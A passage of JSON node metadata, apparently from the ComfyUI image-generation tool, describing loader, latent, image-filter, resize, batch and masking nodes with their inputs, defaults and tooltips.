["CONDITIONING"], "clip": ["CLIP"], "gligen_textbox_model": ["GLIGEN"], "text": ["STRING", {"multiline": true, "dynamicPrompts": true}], "width": ["INT", {"default": 64, "min": 8, "max": 16384, "step": 8}], "height": ["INT", {"default": 64, "min": 8, "max": 16384, "step": 8}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}]}}, "input_order": {"required": ["conditioning_to", "clip", "gligen_textbox_model", "text", "width", "height", "x", "y"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "GLIGENTextBoxApply", "display_name": "Apply GLIGEN Text Box", "description": "", "python_module": "nodes", "category": "model/conditioning/gligen", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "InpaintModelConditioning": {"input": {"required": {"positive": ["CONDITIONING"], "negative": ["CONDITIONING"], "vae": ["VAE"], "pixels": ["IMAGE"], "mask": ["MASK"], "noise_mask": ["BOOLEAN", {"default": true, "tooltip": "Add a noise mask to the latent so sampling will only happen within the mask. Might improve results or completely break things depending on the model."}]}}, "input_order": {"required": ["positive", "negative", "vae", "pixels", "mask", "noise_mask"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "name": "InpaintModelConditioning", "display_name": "InpaintModelConditioning", "description": "", "python_module": "nodes", "category": "model/conditioning", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "CheckpointLoader": {"input": {"required": {"config_name": [["anything_v3.yaml", "v1-inference.yaml", "v1-inference_clip_skip_2.yaml", "v1-inference_clip_skip_2_fp16.yaml", "v1-inference_fp16.yaml", "v1-inpainting-inference.yaml", "v2-inference-v.yaml", "v2-inference-v_fp32.yaml", "v2-inference.yaml", "v2-inference_fp32.yaml", "v2-inpainting-inference.yaml"]], "ckpt_name": [[]]}}, "input_order": {"required": ["config_name", "ckpt_name"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP", "VAE"], "name": "CheckpointLoader", "display_name": "Load Checkpoint With Config (DEPRECATED)", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": ["load model", "model loader"]}, "DiffusersLoader": {"input": {"required": {"model_path": [[]]}}, "input_order": {"required": ["model_path"]}, "is_input_list": false, "output": ["MODEL", "CLIP", "VAE"], "output_is_list": [false, false, false], "output_name": ["MODEL", "CLIP", "VAE"], "name": "DiffusersLoader", "display_name": "Load Diffusers Model (DEPRECATED)", "description": "", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "deprecated": true, "search_aliases": ["load diffusers model"]}, "LoadLatent": {"input": {"required": {"latent": [[]]}}, "input_order": {"required": ["latent"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "name": "LoadLatent", "display_name": "LoadLatent", "description": "", "python_module": "nodes", "category": "experimental", "output_node": false, "has_intermediate_output": false, "search_aliases": ["import latent", "open latent"]}, "SaveLatent": {"input": {"required": {"samples": ["LATENT"], "filename_prefix": ["STRING", {"default": "latents/ComfyUI"}]}, "hidden": {"prompt": "PROMPT", "extra_pnginfo": "EXTRA_PNGINFO"}}, "input_order": {"required": ["samples", "filename_prefix"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["samples"], "name": "SaveLatent", "display_name": "SaveLatent", "description": "", "python_module": "nodes", "category": "experimental", "output_node": true, "has_intermediate_output": false, "search_aliases": ["export latent"]}, "ConditioningZeroOut": {"input": {"required": {"conditioning": ["CONDITIONING"]}}, "input_order": {"required": ["conditioning"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningZeroOut", "display_name": "Conditioning Zero Out", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": ["null conditioning", "clear conditioning"]}, "ConditioningSetTimestepRange": {"input": {"required": {"conditioning": ["CONDITIONING"], "start": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}], "end": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["conditioning", "start", "end"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "name": "ConditioningSetTimestepRange", "display_name": "ConditioningSetTimestepRange", "description": "", "python_module": "nodes", "category": "model/conditioning/transform", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "LoraLoaderModelOnly": {"input": {"required": {"model": ["MODEL"], "lora_name": [[]], "strength_model": ["FLOAT", {"default": 1.0, "min": -100.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "lora_name", "strength_model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "LoraLoaderModelOnly", "display_name": "Load LoRA", "description": "This LoRAs loader is used to modify the diffusion model, altering the way in which latents are denoised such as applying styles. Multiple LoRA nodes can be linked together.", "python_module": "nodes", "category": "model/loaders", "output_node": false, "has_intermediate_output": false, "output_tooltips": ["The modified diffusion model.", "The modified CLIP model."], "search_aliases": ["lora", "load lora", "apply lora", "lora loader", "lora model"], "essentials_category": "Image Generation"}, "LatentAdd": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}]}}, "input_order": {"required": ["samples1", "samples2"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentAdd", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine latents", "sum latents"], "essentials_category": null, "has_intermediate_output": false}, "LatentSubtract": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}]}}, "input_order": {"required": ["samples1", "samples2"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentSubtract", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["difference latent", "remove features"], "essentials_category": null, "has_intermediate_output": false}, "LatentMultiply": {"input": {"required": {"samples": ["LATENT", {}], "multiplier": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["samples", "multiplier"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentMultiply", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["scale latent", "amplify latent", "latent gain"], "essentials_category": null, "has_intermediate_output": false}, "LatentInterpolate": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}], "ratio": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["samples1", "samples2", "ratio"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentInterpolate", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["blend latent", "mix latent", "lerp latent", "transition"], "essentials_category": null, "has_intermediate_output": false}, "LatentConcat": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}], "dim": ["COMBO", {"multiselect": false, "options": ["x", "-x", "y", "-y", "t", "-t"]}]}}, "input_order": {"required": ["samples1", "samples2", "dim"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentConcat", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["join latents", "stitch latents"], "essentials_category": null, "has_intermediate_output": false}, "LatentCut": {"input": {"required": {"samples": ["LATENT", {}], "dim": ["COMBO", {"multiselect": false, "options": ["x", "y", "t"]}], "index": ["INT", {"default": 0, "min": -16384, "max": 16384, "step": 1}], "amount": ["INT", {"default": 1, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["samples", "dim", "index", "amount"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentCut", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["crop latent", "slice latent", "extract region"], "essentials_category": null, "has_intermediate_output": false}, "LatentCutToBatch": {"input": {"required": {"samples": ["LATENT", {}], "dim": ["COMBO", {"multiselect": false, "options": ["t", "x", "y"]}], "slice_size": ["INT", {"default": 1, "min": 1, "max": 16384, "step": 1}]}}, "input_order": {"required": ["samples", "dim", "slice_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentCutToBatch", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["slice to batch", "split latent", "tile latent"], "essentials_category": null, "has_intermediate_output": false}, "LatentBatch": {"input": {"required": {"samples1": ["LATENT", {}], "samples2": ["LATENT", {}]}}, "input_order": {"required": ["samples1", "samples2"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentBatch", "display_name": "Batch Latents (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/batch", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine latents", "merge latents", "join latents"], "essentials_category": null, "has_intermediate_output": false}, "LatentBatchSeedBehavior": {"input": {"required": {"samples": ["LATENT", {}], "seed_behavior": ["COMBO", {"default": "fixed", "multiselect": false, "options": ["random", "fixed"]}]}}, "input_order": {"required": ["samples", "seed_behavior"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentBatchSeedBehavior", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LatentApplyOperation": {"input": {"required": {"samples": ["LATENT", {}], "operation": ["LATENT_OPERATION", {}]}}, "input_order": {"required": ["samples", "operation"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentApplyOperation", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["transform latent"], "essentials_category": null, "has_intermediate_output": false}, "LatentApplyOperationCFG": {"input": {"required": {"model": ["MODEL", {}], "operation": ["LATENT_OPERATION", {}]}}, "input_order": {"required": ["model", "operation"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentApplyOperationCFG", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LatentOperationTonemapReinhard": {"input": {"required": {"multiplier": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["multiplier"]}, "is_input_list": false, "output": ["LATENT_OPERATION"], "output_is_list": [false], "output_name": ["LATENT_OPERATION"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentOperationTonemapReinhard", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["hdr latent"], "essentials_category": null, "has_intermediate_output": false}, "LatentOperationSharpen": {"input": {"required": {"sharpen_radius": ["INT", {"advanced": true, "default": 9, "min": 1, "max": 31, "step": 1}], "sigma": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.1, "max": 10.0, "step": 0.1}], "alpha": ["FLOAT", {"advanced": true, "default": 0.1, "min": 0.0, "max": 5.0, "step": 0.01}]}}, "input_order": {"required": ["sharpen_radius", "sigma", "alpha"]}, "is_input_list": false, "output": ["LATENT_OPERATION"], "output_is_list": [false], "output_name": ["LATENT_OPERATION"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentOperationSharpen", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/advanced/operations", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReplaceVideoLatentFrames": {"input": {"required": {"destination": ["LATENT", {"tooltip": "The destination latent where frames will be replaced."}], "index": ["INT", {"tooltip": "The starting latent frame index in the destination latent where the source latent frames will be placed. Negative values count from the end.", "default": 0, "min": -16384, "max": 16384, "step": 1}]}, "optional": {"source": ["LATENT", {"tooltip": "The source latent providing frames to insert into the destination latent. If not provided, the destination latent is returned unchanged."}]}}, "input_order": {"required": ["destination", "index"], "optional": ["source"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReplaceVideoLatentFrames", "display_name": "Replace Video Latent Frames", "description": "", "python_module": "comfy_extras.nodes_latent", "category": "model/latent/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HypernetworkLoader": {"input": {"required": {"model": ["MODEL", {}], "hypernetwork_name": ["COMBO", {"multiselect": false, "options": []}], "strength": ["FLOAT", {"default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["model", "hypernetwork_name", "strength"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "HypernetworkLoader", "display_name": "Load Hypernetwork", "description": "", "python_module": "comfy_extras.nodes_hypernetwork", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "UpscaleModelLoader": {"input": {"required": {"model_name": ["COMBO", {"multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["UPSCALE_MODEL"], "output_is_list": [false], "output_name": ["UPSCALE_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "UpscaleModelLoader", "display_name": "Load Upscale Model", "description": "", "python_module": "comfy_extras.nodes_upscale_model", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageUpscaleWithModel": {"input": {"required": {"upscale_model": ["UPSCALE_MODEL", {}], "image": ["IMAGE", {}]}}, "input_order": {"required": ["upscale_model", "image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageUpscaleWithModel", "display_name": "Upscale Image (using Model)", "description": "", "python_module": "comfy_extras.nodes_upscale_model", "category": "image/upscaling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["upscale", "upscaler", "upsc", "enlarge image", "super resolution", "hires", "superres", "increase resolution"], "essentials_category": null, "has_intermediate_output": false}, "ImageBlend": {"input": {"required": {"image1": ["IMAGE", {}], "image2": ["IMAGE", {}], "blend_factor": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "blend_mode": ["COMBO", {"multiselect": false, "options": ["normal", "multiply", "screen", "overlay", "soft_light", "difference"]}]}}, "input_order": {"required": ["image1", "image2", "blend_factor", "blend_mode"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageBlend", "display_name": "Blend Images", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["mix images"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "ImageBlur": {"input": {"required": {"image": ["IMAGE", {}], "blur_radius": ["INT", {"default": 1, "min": 1, "max": 31, "step": 1}], "sigma": ["FLOAT", {"default": 1.0, "min": 0.1, "max": 10.0, "step": 0.1}]}}, "input_order": {"required": ["image", "blur_radius", "sigma"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageBlur", "display_name": "Blur Image", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageQuantize": {"input": {"required": {"image": ["IMAGE", {}], "colors": ["INT", {"default": 256, "min": 1, "max": 256, "step": 1}], "dither": ["COMBO", {"multiselect": false, "options": ["none", "floyd-steinberg", "bayer-2", "bayer-4", "bayer-8", "bayer-16"]}]}}, "input_order": {"required": ["image", "colors", "dither"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageQuantize", "display_name": "Quantize Image", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageSharpen": {"input": {"required": {"image": ["IMAGE", {}], "sharpen_radius": ["INT", {"advanced": true, "default": 1, "min": 1, "max": 31, "step": 1}], "sigma": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.1, "max": 10.0, "step": 0.01}], "alpha": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 5.0, "step": 0.01}]}}, "input_order": {"required": ["image", "sharpen_radius", "sigma", "alpha"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageSharpen", "display_name": "Sharpen Image", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageScaleToTotalPixels": {"input": {"required": {"image": ["IMAGE", {}], "upscale_method": ["COMBO", {"multiselect": false, "options": ["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]}], "megapixels": ["FLOAT", {"default": 1.0, "min": 0.01, "max": 16.0, "step": 0.01}], "resolution_steps": ["INT", {"advanced": true, "default": 1, "min": 1, "max": 256}]}}, "input_order": {"required": ["image", "upscale_method", "megapixels", "resolution_steps"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageScaleToTotalPixels", "display_name": "Scale Image to Total Pixels", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/upscaling", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ResizeImageMaskNode": {"input": {"required": {"input": ["COMFY_MATCHTYPE_V3", {"template": {"template_id": "input_type", "allowed_types": "IMAGE,MASK"}}], "resize_type": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "Select how to resize: by exact dimensions, scale factor, matching another image, etc.", "options": [{"key": "scale dimensions", "inputs": {"required": {"width": ["INT", {"tooltip": "Target width in pixels. Set to 0 to auto-calculate from height while preserving aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}], "height": ["INT", {"tooltip": "Target height in pixels. Set to 0 to auto-calculate from width while preserving aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}], "crop": ["COMBO", {"tooltip": "How to handle aspect ratio mismatch: 'disabled' stretches to fit, 'center' crops to maintain aspect ratio.", "default": "center", "multiselect": false, "options": ["disabled", "center"]}]}}}, {"key": "scale by multiplier", "inputs": {"required": {"multiplier": ["FLOAT", {"tooltip": "Scale factor (e.g., 2.0 doubles size, 0.5 halves size).", "default": 1.0, "min": 0.01, "max": 8.0, "step": 0.01}]}}}, {"key": "scale longer dimension", "inputs": {"required": {"longer_size": ["INT", {"tooltip": "The longer edge will be resized to this value. Aspect ratio is preserved.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale shorter dimension", "inputs": {"required": {"shorter_size": ["INT", {"tooltip": "The shorter edge will be resized to this value. Aspect ratio is preserved.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale width", "inputs": {"required": {"width": ["INT", {"tooltip": "Target width in pixels. Height auto-adjusts to preserve aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale height", "inputs": {"required": {"height": ["INT", {"tooltip": "Target height in pixels. Width auto-adjusts to preserve aspect ratio.", "default": 512, "min": 0, "max": 16384, "step": 1}]}}}, {"key": "scale total pixels", "inputs": {"required": {"megapixels": ["FLOAT", {"tooltip": "Target total megapixels (e.g., 1.0 \u2248 1024\u00d71024). Aspect ratio is preserved.", "default": 1.0, "min": 0.01, "max": 16.0, "step": 0.01}]}}}, {"key": "match size", "inputs": {"required": {"match": ["IMAGE,MASK", {"tooltip": "Resize input to match the dimensions of this reference image or mask."}], "crop": ["COMBO", {"tooltip": "How to handle aspect ratio mismatch: 'disabled' stretches to fit, 'center' crops to maintain aspect ratio.", "default": "center", "multiselect": false, "options": ["disabled", "center"]}]}}}, {"key": "scale to multiple", "inputs": {"required": {"multiple": ["INT", {"tooltip": "Resize so width and height are divisible by this number. Useful for latent alignment (e.g., 8 or 64).", "default": 8, "min": 1, "max": 16384, "step": 1}]}}}]}], "scale_method": ["COMBO", {"tooltip": "Interpolation algorithm. 'area' is best for downscaling, 'lanczos' for upscaling, 'nearest-exact' for pixel art.", "default": "area", "multiselect": false, "options": ["nearest-exact", "bilinear", "area", "bicubic", "lanczos"]}]}}, "input_order": {"required": ["input", "resize_type", "scale_method"]}, "is_input_list": false, "output": ["COMFY_MATCHTYPE_V3"], "output_is_list": [false], "output_name": ["resized"], "output_tooltips": [null], "output_matchtypes": ["input_type"], "name": "ResizeImageMaskNode", "display_name": "Resize Image/Mask", "description": "Resize an image or mask using various scaling methods.", "python_module": "comfy_extras.nodes_post_processing", "category": "image/transform", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["resize", "resize image", "resize mask", "scale", "scale image", "scale mask", "image resize", "change size", "dimensions", "shrink", "enlarge"], "essentials_category": null, "has_intermediate_output": false}, "BatchImagesNode": {"input": {"required": {"images": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"image": ["IMAGE", {}]}}, "prefix": "image", "min": 1, "max": 50}}]}}, "input_order": {"required": ["images"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "BatchImagesNode", "display_name": "Batch Images", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["batch", "image batch", "batch images", "combine images", "merge images", "stack images"], "essentials_category": "Image Tools", "has_intermediate_output": false}, "BatchMasksNode": {"input": {"required": {"masks": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"mask": ["MASK", {}]}}, "prefix": "mask", "min": 1, "max": 50}}]}}, "input_order": {"required": ["masks"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["MASK"], "output_tooltips": [null], "output_matchtypes": null, "name": "BatchMasksNode", "display_name": "Batch Masks", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine masks", "stack masks", "merge masks"], "essentials_category": null, "has_intermediate_output": false}, "BatchLatentsNode": {"input": {"required": {"latents": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"latent": ["LATENT", {}]}}, "prefix": "latent", "min": 1, "max": 50}}]}}, "input_order": {"required": ["latents"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "BatchLatentsNode", "display_name": "Batch Latents", "description": "", "python_module": "comfy_extras.nodes_post_processing", "category": "model/latent/batch", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["combine latents", "stack latents", "merge latents"], "essentials_category": null, "has_intermediate_output": false}, "ColorTransfer": {"input": {"required": {"image_target": ["IMAGE", {"tooltip": "Image(s) to apply the color transform to."}], "image_ref": ["IMAGE", {"tooltip": "Reference image(s) to match colors to."}], "method": ["COMBO", {"multiselect": false, "options": ["reinhard_lab", "mkl_lab", "histogram"]}], "source_stats": ["COMFY_DYNAMICCOMBO_V3", {"tooltip": "per_frame: each frame matched to image_ref individually. uniform: pool stats across all source frames as baseline, match to image_ref. target_frame: use one chosen frame as the baseline for the transform to image_ref, applied uniformly to all frames (preserves relative differences)", "options": [{"key": "per_frame", "inputs": {"required": {}}}, {"key": "uniform", "inputs": {"required": {}}}, {"key": "target_frame", "inputs": {"required": {"target_index": ["INT", {"tooltip": "Frame index used as the source baseline for computing the transform to image_ref", "default": 0, "min": 0, "max": 10000}]}}}]}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["image_target", "image_ref", "method", "source_stats", "strength"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["image"], "output_tooltips": [null], "output_matchtypes": null, "name": "ColorTransfer", "display_name": "Transfer Color", "description": "Match the colors of one image to another using various algorithms.", "python_module": "comfy_extras.nodes_post_processing", "category": "image/filters", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["color match", "color grading", "color correction", "match colors", "color transform", "mkl", "reinhard", "histogram"], "essentials_category": null, "has_intermediate_output": false}, "LatentCompositeMasked": {"input": {"required": {"destination": ["LATENT", {}], "source": ["LATENT", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 8}], "resize_source": ["BOOLEAN", {"default": false}]}, "optional": {"mask": ["MASK", {}]}}, "input_order": {"required": ["destination", "source", "x", "y", "resize_source"], "optional": ["mask"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "LatentCompositeMasked", "display_name": "Latent Composite Masked", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "model/latent", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["overlay latent", "layer latent", "paste latent", "inpaint latent"], "essentials_category": null, "has_intermediate_output": false}, "ImageCompositeMasked": {"input": {"required": {"destination": ["IMAGE", {}], "source": ["IMAGE", {}], "x": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "y": ["INT", {"default": 0, "min": 0, "max": 16384, "step": 1}], "resize_source": ["BOOLEAN", {"default": false}]}, "optional": {"mask": ["MASK", {}]}}, "input_order": {"required": ["destination", "source", "x", "y", "resize_source"], "optional": ["mask"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "ImageCompositeMasked", "display_name": "Image Composite Masked", "description": "", "python_module": "comfy_extras.nodes_mask", "category": "image/compositing", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["overlay", "layer", "paste image", "images composition"], "essentials_category": null, "has_intermediate_output": false}, "MaskToImage": {"input": {"required": {"mask": ["MASK", {}]}}, "input_order": {"required": ["mask"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "MaskToImage", "display_name": "Convert Mask to 